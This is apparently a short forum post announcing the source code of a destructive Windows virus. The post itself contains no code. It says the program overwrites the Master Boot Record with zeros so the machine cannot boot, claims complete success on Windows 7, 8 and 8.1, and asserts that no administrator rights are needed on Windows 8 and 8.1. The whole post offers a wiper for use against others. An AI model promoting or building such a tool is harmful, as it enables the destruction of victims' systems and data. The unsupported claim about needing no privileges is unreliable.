[Source] Dangerous Virus [Overwrite MBR] [Render Computer Unbootable]

Introduction

This overwrites the MBR with 0's making booting the computer impossible, tested on Windows 7 and Windows 8 + 8.1 = %100 success.

For windows 8 + 8.1 it does not require administrative privileges to use full effect, on windows 7 you must run as administrator.
